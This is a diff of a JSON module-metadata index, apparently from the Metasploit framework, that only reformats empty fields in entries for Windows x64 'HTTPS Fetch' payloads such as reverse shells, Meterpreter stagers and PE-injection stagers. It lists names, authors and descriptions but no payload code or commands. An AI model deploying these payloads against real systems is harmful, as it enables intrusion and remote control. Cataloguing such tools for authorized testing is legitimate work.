-219302,9 +194680,7 @@ "payload_cmd/windows/https/x64/custom/bind_tcp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219314,9 +194690,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219330,8 +194704,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219344,9 +194717,7 @@ "payload_cmd/windows/https/x64/custom/bind_tcp_rc4": { "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219361,9 +194732,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219377,8 +194746,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219391,9 +194759,7 @@ "payload_cmd/windows/https/x64/custom/bind_tcp_uuid": { "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219404,9 +194770,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219420,8 +194784,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219434,9 +194797,7 @@ "payload_cmd/windows/https/x64/custom/reverse_http": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219446,9 +194807,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219462,8 +194821,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219476,9 +194834,7 @@ "payload_cmd/windows/https/x64/custom/reverse_https": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219490,9 +194846,7 @@ "rwincey" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219506,8 +194860,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219520,9 +194873,7 @@ "payload_cmd/windows/https/x64/custom/reverse_named_pipe": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/https/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219532,9 +194883,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219548,8 +194897,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219562,9 +194910,7 @@ "payload_cmd/windows/https/x64/custom/reverse_tcp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219574,9 +194920,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219590,8 +194934,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219604,9 +194947,7 @@ "payload_cmd/windows/https/x64/custom/reverse_tcp_rc4": { "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219621,9 +194962,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219637,8 +194976,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219651,9 +194989,7 @@ "payload_cmd/windows/https/x64/custom/reverse_tcp_uuid": { "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219664,9 +195000,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219680,8 +195014,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219694,9 +195027,7 @@ "payload_cmd/windows/https/x64/custom/reverse_winhttp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219706,9 +195037,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219722,8 +195051,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219736,9 +195064,7 @@ "payload_cmd/windows/https/x64/custom/reverse_winhttps": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219748,9 +195074,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219764,8 +195088,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219778,9 +195101,7 @@ "payload_cmd/windows/https/x64/encrypted_shell/reverse_tcp": { "name": "HTTPS Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219790,9 +195111,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219806,8 +195125,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219820,9 +195138,7 @@ "payload_cmd/windows/https/x64/encrypted_shell_reverse_tcp": { "name": "HTTPS Fetch, Windows Encrypted Reverse Shell", "fullname": "payload/cmd/windows/https/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219832,9 +195148,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219848,8 +195162,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219860,9 +195173,7 @@ "payload_cmd/windows/https/x64/exec": { "name": "HTTPS Fetch, Windows x64 Execute Command", "fullname": "payload/cmd/windows/https/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219871,9 +195182,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219887,8 +195196,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219899,9 +195207,7 @@ "payload_cmd/windows/https/x64/loadlibrary": { "name": "HTTPS Fetch, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/https/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219911,9 +195217,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219927,8 +195231,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219939,9 +195242,7 @@ "payload_cmd/windows/https/x64/messagebox": { "name": "HTTPS Fetch, Windows MessageBox x64", "fullname": "payload/cmd/windows/https/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219950,9 +195251,7 @@ "pasta " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219966,8 +195265,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219978,9 +195276,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220008,8 +195304,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220022,9 +195317,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220052,8 +195345,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220066,9 +195358,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220097,8 +195387,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220111,9 +195400,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220141,8 +195428,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220155,9 +195441,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_tcp_rc4": { "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220189,8 +195473,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220203,9 +195486,7 @@ "payload_cmd/windows/https/x64/meterpreter/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220233,8 +195514,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220247,9 +195527,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_http": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220277,8 +195555,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220291,9 +195568,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_https": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220324,8 +195599,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220338,9 +195612,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_named_pipe": { "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220368,8 +195640,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220382,9 +195653,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220412,8 +195681,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220426,9 +195694,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_rc4": { "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220460,8 +195726,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220474,9 +195739,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220504,8 +195767,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220518,9 +195780,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_winhttp": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220548,8 +195808,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220562,9 +195821,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_winhttps": { "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220592,8 +195849,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220606,9 +195862,7 @@ "payload_cmd/windows/https/x64/meterpreter_bind_named_pipe": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220636,8 +195890,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220648,9 +195901,7 @@ "payload_cmd/windows/https/x64/meterpreter_bind_tcp": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220677,8 +195928,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220689,9 +195939,7 @@ "payload_cmd/windows/https/x64/meterpreter_reverse_http": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220718,8 +195966,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220730,9 +195977,7 @@ "payload_cmd/windows/https/x64/meterpreter_reverse_https": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220759,8 +196004,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220771,9 +196015,7 @@ "payload_cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220800,8 +196042,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220812,9 +196053,7 @@ "payload_cmd/windows/https/x64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220841,8 +196080,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220853,9 +196091,7 @@ "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220881,8 +196117,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220895,9 +196130,7 @@ "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220924,8 +196157,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220938,9 +196170,7 @@ "payload_cmd/windows/https/x64/peinject/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220966,8 +196196,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220980,9 +196209,7 @@ "payload_cmd/windows/https/x64/peinject/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221008,8 +196235,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221022,9 +196248,7 @@ "payload_cmd/windows/https/x64/peinject/bind_tcp_rc4": { "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221055,8 +196279,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221069,9 +196292,7 @@ "payload_cmd/windows/https/x64/peinject/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221098,8 +196319,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221112,9 +196332,7 @@ "payload_cmd/windows/https/x64/peinject/reverse_named_pipe": { "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/https/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221140,8 +196358,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221154,9 +196371,7 @@ "payload_cmd/windows/https/x64/peinject/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221182,8 +196397,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221196,9 +196410,7 @@ "payload_cmd/windows/https/x64/peinject/reverse_tcp_rc4": { "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221229,8 +196441,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221243,9 +196454,7 @@ "payload_cmd/windows/https/x64/peinject/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221272,8 +196481,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221286,9 +196494,7 @@ "payload_cmd/windows/https/x64/pingback_reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/https/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221297,9 +196503,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221313,8 +196517,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221325,9 +196528,7 @@ "payload_cmd/windows/https/x64/powershell_bind_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/windows/https/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221354,8 +196555,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221366,9 +196566,7 @@ "payload_cmd/windows/https/x64/powershell_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/windows/https/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221395,8 +196593,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221407,9 +196604,7 @@ "payload_cmd/windows/https/x64/powershell_reverse_tcp_ssl": { "name": "HTTPS Fetch", "fullname": "payload/cmd/windows/https/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221436,8 +196631,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221448,9 +196642,7 @@ "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221459,9 +196651,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221475,8 +196665,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221489,9 +196678,7 @@ "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, 